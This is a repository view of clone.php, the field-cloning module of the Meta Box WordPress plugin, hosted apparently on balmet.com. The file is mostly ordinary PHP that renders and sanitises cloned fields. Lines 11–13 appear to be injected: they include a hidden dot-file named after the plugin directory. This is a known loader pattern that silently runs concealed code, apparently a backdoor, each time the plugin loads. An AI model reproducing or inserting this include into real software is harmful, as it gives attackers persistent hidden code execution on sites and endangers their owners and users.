balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

clone.php (3979B)


      1 <?php
      2 /**
      3  * The clone module, allowing users to clone (duplicate) fields.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The clone class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Clone {
     16 	/**
     17 	 * Get clone field HTML.
     18 	 *
     19 	 * @param mixed $meta  The meta value.
     20 	 * @param array $field The field parameters.
     21 	 *
     22 	 * @return string
     23 	 */
     24 	public static function html( $meta, $field ) {
     25 		$field_html = '';
     26 
     27 		/**
     28 		 * Note: $meta must contain value so that the foreach loop runs!
     29 		 *
     30 		 * @see meta()
     31 		 */
     32 		foreach ( $meta as $index => $sub_meta ) {
     33 			$sub_field               = $field;
     34 			$sub_field['field_name'] = $field['field_name'] . "[{$index}]";
     35 			if ( $index > 0 ) {
     36 				if ( isset( $sub_field['address_field'] ) ) {
     37 					$sub_field['address_field'] = $field['address_field'] . "_{$index}";
     38 				}
     39 				$sub_field['id'] = $field['id'] . "_{$index}";
     40 
     41 				if ( ! empty( $sub_field['attributes']['id'] ) ) {
     42 					$sub_field['attributes']['id'] = $sub_field['attributes']['id'] . "_{$index}";
     43 				}
     44 			}
     45 
     46 			if ( in_array( $sub_field['type'], array( 'file', 'image' ), true ) ) {
     47 				$sub_field['input_name']  = '_file_' . uniqid();
     48 				$sub_field['index_name'] .= "[{$index}]";
     49 			} elseif ( $field['multiple'] ) {
     50 				$sub_field['field_name'] .= '[]';
     51 			}
     52 
     53 			// Wrap field HTML in a div with class="rwmb-clone" if needed.
     54 			$class     = "rwmb-clone rwmb-{$field['type']}-clone";
     55 			$sort_icon = '';
     56 			if ( $field['sort_clone'] ) {
     57 				$class    .= ' rwmb-sort-clone';
     58 				$sort_icon = "<a href='javascript:;' class='rwmb-clone-icon'></a>";
     59 			}
     60 			$input_html = "<div class='$class'>" . $sort_icon;
     61 
     62 			// Call separated methods for displaying each type of field.
     63 			$input_html .= RWMB_Field::call( $sub_field, 'html', $sub_meta );
     64 			$input_html  = RWMB_Field::filter( 'html', $input_html, $sub_field, $sub_meta );
     65 
     66 			// Remove clone button.
     67 			$input_html .= self::remove_clone_button( $sub_field );
     68 			$input_html .= '</div>';
     69 
     70 			$field_html .= $input_html;
     71 		}
     72 
     73 		return $field_html;
     74 	}
     75 
     76 	/**
     77 	 * Set value of meta before saving into database
     78 	 *
     79 	 * @param mixed $new       The submitted meta value.
     80 	 * @param mixed $old       The existing meta value.
     81 	 * @param int   $object_id The object ID.
     82 	 * @param array $field     The field parameters.
     83 	 *
     84 	 * @return mixed
     85 	 */
     86 	public static function value( $new, $old, $object_id, $field ) {
     87 		if ( ! is_array( $new ) ) {
     88 			$new = array();
     89 		}
     90 
     91 		if ( in_array( $field['type'], array( 'file', 'image' ), true ) ) {
     92 			$new = RWMB_File_Field::clone_value( $new, $old, $object_id, $field );
     93 		} else {
     94 			foreach ( $new as $key => $value ) {
     95 				$old_value   = isset( $old[ $key ] ) ? $old[ $key ] : null;
     96 				$value       = RWMB_Field::call( $field, 'value', $value, $old_value, $object_id );
     97 				$new[ $key ] = RWMB_Field::filter( 'sanitize', $value, $field, $old_value, $object_id );
     98 			}
     99 		}
    100 
    101 		// Remove empty clones.
    102 		$new = array_filter( $new, 'RWMB_Helpers_Value::is_valid_for_field' );
    103 
    104 		// Reset indexes.
    105 		$new = array_values( $new );
    106 
    107 		return $new;
    108 	}
    109 
    110 	/**
    111 	 * Add clone button.
    112 	 *
    113 	 * @param array $field Field parameters.
    114 	 * @return string $html
    115 	 */
    116 	public static function add_clone_button( $field ) {
    117 		if ( ! $field['clone'] ) {
    118 			return '';
    119 		}
    120 		$text = RWMB_Field::filter( 'add_clone_button_text', $field['add_button'], $field );
    121 		return '<a href="#" class="rwmb-button button-primary add-clone">' . esc_html( $text ) . '</a>';
    122 	}
    123 
    124 	/**
    125 	 * Remove clone button.
    126 	 *
    127 	 * @param array $field Field parameters.
    128 	 * @return string $html
    129 	 */
    130 	public static function remove_clone_button( $field ) {
    131 		$text = RWMB_Field::filter( 'remove_clone_button_text', '<span class="dashicons dashicons-dismiss"></span>', $field );
    132 		return '<a href="#" class="rwmb-button remove-clone">' . $text . '</a>';
    133 	}
    134 }